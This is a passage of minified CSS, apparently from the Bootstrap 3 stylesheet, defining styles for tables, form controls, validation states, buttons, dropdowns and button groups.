lg-offset-0{margin-left:0}}table{background-color:transparent}caption{padding-top:8px;padding-bottom:8px;color:#777;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>tbody>tr>td,.table>tbody>tr>th,.table>tfoot>tr>td,.table>tfoot>tr>th,.table>thead>tr>td,.table>thead>tr>th{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.table>caption+thead>tr:first-child>td,.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>td,.table>thead:first-child>tr:first-child>th{border-top:0}.table>tbody+tbody{border-top:2px solid #ddd}.table .table{background-color:#fff}.table-condensed>tbody>tr>td,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>td,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>thead>tr>th{padding:5px}.table-bordered{border:1px solid #ddd}.table-bordered>tbody>tr>td,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>td,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border:1px solid #ddd}.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border-bottom-width:2px}.table-striped>tbody>tr:nth-of-type(odd){background-color:#f9f9f9}.table-hover>tbody>tr:hover{background-color:#f5f5f5}table col[class*=col-]{position:static;display:table-column;float:none}table td[class*=col-],table th[class*=col-]{position:static;display:table-cell;float:none}.table>tbody>tr.active>td,.table>tbody>tr.active>th,.table>tbody>tr>td.active,.table>tbody>tr>th.active,.table>tfoot>tr.active>td,.table>tfoot>tr.active>th,.table>tfoot>tr>td.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>thead>tr.active>th,.table>thead>tr>td.active,.table>thead>tr>th.active{background-color:#f5f5f5}.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr.active:hover>th,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover{background-color:#e8e8e8}.table>tbody>tr.success>td,.table>tbody>tr.success>th,.table>tbody>tr>td.success,.table>tbody>tr>th.success,.table>tfoot>tr.success>td,.table>tfoot>tr.success>th,.table>tfoot>tr>td.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>thead>tr.success>th,.table>thead>tr>td.success,.table>thead>tr>th.success{background-color:#dff0d8}.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr.success:hover>th,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover{background-color:#d0e9c6}.table>tbody>tr.info>td,.table>tbody>tr.info>th,.table>tbody>tr>td.info,.table>tbody>tr>th.info,.table>tfoot>tr.info>td,.table>tfoot>tr.info>th,.table>tfoot>tr>td.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>thead>tr.info>th,.table>thead>tr>td.info,.table>thead>tr>th.info{background-color:#d9edf7}.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr.info:hover>th,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover{background-color:#c4e3f3}.table>tbody>tr.warning>td,.table>tbody>tr.warning>th,.table>tbody>tr>td.warning,.table>tbody>tr>th.warning,.table>tfoot>tr.warning>td,.table>tfoot>tr.warning>th,.table>tfoot>tr>td.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>thead>tr.warning>th,.table>thead>tr>td.warning,.table>thead>tr>th.warning{background-color:#fcf8e3}.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr.warning:hover>th,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover{background-color:#faf2cc}.table>tbody>tr.danger>td,.table>tbody>tr.danger>th,.table>tbody>tr>td.danger,.table>tbody>tr>th.danger,.table>tfoot>tr.danger>td,.table>tfoot>tr.danger>th,.table>tfoot>tr>td.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>thead>tr.danger>th,.table>thead>tr>td.danger,.table>thead>tr>th.danger{background-color:#f2dede}.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr.danger:hover>th,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover{background-color:#ebcccc}.table-responsive{min-height:.01%;overflow-x:auto}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #ddd}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>td,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>thead>tr>th{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:700}input[type=search]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type=checkbox],input[type=radio]{margin:4px 0 0;margin-top:1px\9;line-height:normal}input[type=file]{display:block}input[type=range]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type=file]:focus,input[type=checkbox]:focus,input[type=radio]:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:7px;font-size:14px;line-height:1.42857143;color:#555}.form-control{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6)}.form-control::-moz-placeholder{color:#999;opacity:1}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.form-control::-ms-expand{background-color:transparent;border:0}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#eee;opacity:1}.form-control[disabled],fieldset[disabled] .form-control{cursor:not-allowed}textarea.form-control{height:auto}input[type=search]{-webkit-appearance:none}@media screen and (-webkit-min-device-pixel-ratio:0){input[type=date].form-control,input[type=time].form-control,input[type=datetime-local].form-control,input[type=month].form-control{line-height:34px}.input-group-sm input[type=date],.input-group-sm input[type=time],.input-group-sm input[type=datetime-local],.input-group-sm input[type=month],input[type=date].input-sm,input[type=time].input-sm,input[type=datetime-local].input-sm,input[type=month].input-sm{line-height:30px}.input-group-lg input[type=date],.input-group-lg input[type=time],.input-group-lg input[type=datetime-local],.input-group-lg input[type=month],input[type=date].input-lg,input[type=time].input-lg,input[type=datetime-local].input-lg,input[type=month].input-lg{line-height:46px}}.form-group{margin-bottom:15px}.checkbox,.radio{position:relative;display:block;margin-top:10px;margin-bottom:10px}.checkbox label,.radio label{min-height:20px;padding-left:20px;margin-bottom:0;font-weight:400;cursor:pointer}.checkbox input[type=checkbox],.checkbox-inline input[type=checkbox],.radio input[type=radio],.radio-inline input[type=radio]{position:absolute;margin-top:4px\9;margin-left:-20px}.checkbox+.checkbox,.radio+.radio{margin-top:-5px}.checkbox-inline,.radio-inline{position:relative;display:inline-block;padding-left:20px;margin-bottom:0;font-weight:400;vertical-align:middle;cursor:pointer}.checkbox-inline+.checkbox-inline,.radio-inline+.radio-inline{margin-top:0;margin-left:10px}fieldset[disabled] input[type=checkbox],fieldset[disabled] input[type=radio],input[type=checkbox].disabled,input[type=checkbox][disabled],input[type=radio].disabled,input[type=radio][disabled]{cursor:not-allowed}.checkbox-inline.disabled,.radio-inline.disabled,fieldset[disabled] .checkbox-inline,fieldset[disabled] .radio-inline{cursor:not-allowed}.checkbox.disabled label,.radio.disabled label,fieldset[disabled] .checkbox label,fieldset[disabled] .radio label{cursor:not-allowed}.form-control-static{min-height:34px;padding-top:7px;padding-bottom:7px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm{padding-right:0;padding-left:0}.input-sm{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-sm{height:30px;line-height:30px}select[multiple].input-sm,textarea.input-sm{height:auto}.form-group-sm .form-control{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.form-group-sm select.form-control{height:30px;line-height:30px}.form-group-sm select[multiple].form-control,.form-group-sm textarea.form-control{height:auto}.form-group-sm .form-control-static{height:30px;min-height:32px;padding:6px 10px;font-size:12px;line-height:1.5}.input-lg{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-lg{height:46px;line-height:46px}select[multiple].input-lg,textarea.input-lg{height:auto}.form-group-lg .form-control{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.form-group-lg select.form-control{height:46px;line-height:46px}.form-group-lg select[multiple].form-control,.form-group-lg textarea.form-control{height:auto}.form-group-lg .form-control-static{height:46px;min-height:38px;padding:11px 16px;font-size:18px;line-height:1.3333333}.has-feedback{position:relative}.has-feedback .form-control{padding-right:42.5px}.form-control-feedback{position:absolute;top:0;right:0;z-index:2;display:block;width:34px;height:34px;line-height:34px;text-align:center;pointer-events:none}.form-group-lg .form-control+.form-control-feedback,.input-group-lg+.form-control-feedback,.input-lg+.form-control-feedback{width:46px;height:46px;line-height:46px}.form-group-sm .form-control+.form-control-feedback,.input-group-sm+.form-control-feedback,.input-sm+.form-control-feedback{width:30px;height:30px;line-height:30px}.has-success .checkbox,.has-success .checkbox-inline,.has-success .control-label,.has-success .help-block,.has-success .radio,.has-success .radio-inline,.has-success.checkbox label,.has-success.checkbox-inline label,.has-success.radio label,.has-success.radio-inline label{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;background-color:#dff0d8;border-color:#3c763d}.has-success .form-control-feedback{color:#3c763d}.has-warning .checkbox,.has-warning .checkbox-inline,.has-warning .control-label,.has-warning .help-block,.has-warning .radio,.has-warning .radio-inline,.has-warning.checkbox label,.has-warning.checkbox-inline label,.has-warning.radio label,.has-warning.radio-inline label{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;background-color:#fcf8e3;border-color:#8a6d3b}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .checkbox,.has-error .checkbox-inline,.has-error .control-label,.has-error .help-block,.has-error .radio,.has-error .radio-inline,.has-error.checkbox label,.has-error.checkbox-inline label,.has-error.radio label,.has-error.radio-inline label{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;background-color:#f2dede;border-color:#a94442}.has-error .form-control-feedback{color:#a94442}.has-feedback label~.form-control-feedback{top:25px}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-static{display:inline-block}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .form-control,.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .checkbox,.form-inline .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .checkbox label,.form-inline .radio label{padding-left:0}.form-inline .checkbox input[type=checkbox],.form-inline .radio input[type=radio]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .checkbox,.form-horizontal .checkbox-inline,.form-horizontal .radio,.form-horizontal .radio-inline{padding-top:7px;margin-top:0;margin-bottom:0}.form-horizontal .checkbox,.form-horizontal .radio{min-height:27px}.form-horizontal .form-group{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.form-horizontal .control-label{padding-top:7px;margin-bottom:0;text-align:right}}.form-horizontal .has-feedback .form-control-feedback{right:15px}@media (min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:11px;font-size:18px}}@media (min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px;font-size:12px}}.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.42857143;text-align:center;white-space:nowrap;vertical-align:middle;-ms-touch-action:manipulation;touch-action:manipulation;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-image:none;border:1px solid transparent;border-radius:4px}.btn.active.focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn:active:focus,.btn:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.focus,.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{cursor:not-allowed;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none;opacity:.65}a.btn.disabled,fieldset[disabled] a.btn{pointer-events:none}.btn-default{color:#333;background-color:#fff;border-color:#ccc}.btn-default.focus,.btn-default:focus{color:#333;background-color:#e6e6e6;border-color:#8c8c8c}.btn-default:hover{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active.focus,.btn-default.active:focus,.btn-default.active:hover,.btn-default:active.focus,.btn-default:active:focus,.btn-default:active:hover,.open>.dropdown-toggle.btn-default.focus,.open>.dropdown-toggle.btn-default:focus,.open>.dropdown-toggle.btn-default:hover{color:#333;background-color:#d4d4d4;border-color:#8c8c8c}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{background-image:none}.btn-default.disabled.focus,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled].focus,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#fff;border-color:#ccc}.btn-default .badge{color:#fff;background-color:#333}.btn-primary{color:#fff;background-color:#337ab7;border-color:#2e6da4}.btn-primary.focus,.btn-primary:focus{color:#fff;background-color:#286090;border-color:#122b40}.btn-primary:hover{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active,.btn-primary:active,.open>.dropdown-toggle.btn-primary{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active.focus,.btn-primary.active:focus,.btn-primary.active:hover,.btn-primary:active.focus,.btn-primary:active:focus,.btn-primary:active:hover,.open>.dropdown-toggle.btn-primary.focus,.open>.dropdown-toggle.btn-primary:focus,.open>.dropdown-toggle.btn-primary:hover{color:#fff;background-color:#204d74;border-color:#122b40}.btn-primary.active,.btn-primary:active,.open>.dropdown-toggle.btn-primary{background-image:none}.btn-primary.disabled.focus,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled].focus,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#337ab7;border-color:#2e6da4}.btn-primary .badge{color:#337ab7;background-color:#fff}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success.focus,.btn-success:focus{color:#fff;background-color:#449d44;border-color:#255625}.btn-success:hover{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active,.btn-success:active,.open>.dropdown-toggle.btn-success{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active.focus,.btn-success.active:focus,.btn-success.active:hover,.btn-success:active.focus,.btn-success:active:focus,.btn-success:active:hover,.open>.dropdown-toggle.btn-success.focus,.open>.dropdown-toggle.btn-success:focus,.open>.dropdown-toggle.btn-success:hover{color:#fff;background-color:#398439;border-color:#255625}.btn-success.active,.btn-success:active,.open>.dropdown-toggle.btn-success{background-image:none}.btn-success.disabled.focus,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled].focus,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#5cb85c;border-color:#4cae4c}.btn-success .badge{color:#5cb85c;background-color:#fff}.btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.btn-info.focus,.btn-info:focus{color:#fff;background-color:#31b0d5;border-color:#1b6d85}.btn-info:hover{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active,.btn-info:active,.open>.dropdown-toggle.btn-info{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active.focus,.btn-info.active:focus,.btn-info.active:hover,.btn-info:active.focus,.btn-info:active:focus,.btn-info:active:hover,.open>.dropdown-toggle.btn-info.focus,.open>.dropdown-toggle.btn-info:focus,.open>.dropdown-toggle.btn-info:hover{color:#fff;background-color:#269abc;border-color:#1b6d85}.btn-info.active,.btn-info:active,.open>.dropdown-toggle.btn-info{background-image:none}.btn-info.disabled.focus,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled].focus,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#5bc0de;border-color:#46b8da}.btn-info .badge{color:#5bc0de;background-color:#fff}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning.focus,.btn-warning:focus{color:#fff;background-color:#ec971f;border-color:#985f0d}.btn-warning:hover{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active,.btn-warning:active,.open>.dropdown-toggle.btn-warning{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active.focus,.btn-warning.active:focus,.btn-warning.active:hover,.btn-warning:active.focus,.btn-warning:active:focus,.btn-warning:active:hover,.open>.dropdown-toggle.btn-warning.focus,.open>.dropdown-toggle.btn-warning:focus,.open>.dropdown-toggle.btn-warning:hover{color:#fff;background-color:#d58512;border-color:#985f0d}.btn-warning.active,.btn-warning:active,.open>.dropdown-toggle.btn-warning{background-image:none}.btn-warning.disabled.focus,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled].focus,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#f0ad4e;border-color:#eea236}.btn-warning .badge{color:#f0ad4e;background-color:#fff}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger.focus,.btn-danger:focus{color:#fff;background-color:#c9302c;border-color:#761c19}.btn-danger:hover{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active,.btn-danger:active,.open>.dropdown-toggle.btn-danger{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active.focus,.btn-danger.active:focus,.btn-danger.active:hover,.btn-danger:active.focus,.btn-danger:active:focus,.btn-danger:active:hover,.open>.dropdown-toggle.btn-danger.focus,.open>.dropdown-toggle.btn-danger:focus,.open>.dropdown-toggle.btn-danger:hover{color:#fff;background-color:#ac2925;border-color:#761c19}.btn-danger.active,.btn-danger:active,.open>.dropdown-toggle.btn-danger{background-image:none}.btn-danger.disabled.focus,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled].focus,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#d9534f;border-color:#d43f3a}.btn-danger .badge{color:#d9534f;background-color:#fff}.btn-link{font-weight:400;color:#337ab7;border-radius:0}.btn-link,.btn-link.active,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:active,.btn-link:focus,.btn-link:hover{border-color:transparent}.btn-link:focus,.btn-link:hover{color:#23527c;text-decoration:underline;background-color:transparent}.btn-link[disabled]:focus,.btn-link[disabled]:hover,fieldset[disabled] .btn-link:focus,fieldset[disabled] .btn-link:hover{color:#777;text-decoration:none}.btn-group-lg>.btn,.btn-lg{padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.btn-group-sm>.btn,.btn-sm{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-group-xs>.btn,.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:5px}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition-timing-function:ease;-o-transition-timing-function:ease;transition-timing-function:ease;-webkit-transition-duration:.35s;-o-transition-duration:.35s;transition-duration:.35s;-webkit-transition-property:height,visibility;-o-transition-property:height,visibility;transition-property:height,visibility}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px dashed;border-top:4px solid\9;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown,.dropup{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;font-size:14px;text-align:left;list-style:none;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175)}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:400;line-height:1.42857143;color:#333;white-space:nowrap}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{color:#262626;text-decoration:none;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{color:#fff;text-decoration:none;background-color:#337ab7;outline:0}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{color:#777}.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{text-decoration:none;cursor:not-allowed;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{right:0;left:auto}.dropdown-menu-left{right:auto;left:0}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.42857143;color:#777;white-space:nowrap}.dropdown-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{content:"";border-top:0;border-bottom:4px dashed;border-bottom:4px solid\9}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:2px}@media (min-width:768px){.navbar-right .dropdown-menu{right:0;left:auto}.navbar-right .dropdown-menu-left{right:auto;left:0}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;float:left}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar .btn,.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-bottom-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-right:8px;padding-left:8px}.btn-group>.btn-lg+.dropdown-toggle{padding-right:12px;padding-left:12px}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-top-right-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{display:table-cell;float:none;width:1%}.btn-group-justified>.btn-group .btn{width:100%}.btn-group-justified>.btn-group .dropdown-menu{left:auto}[data-toggle=buttons]>.btn input[type=checkbox],[data-toggle=buttons]>.btn 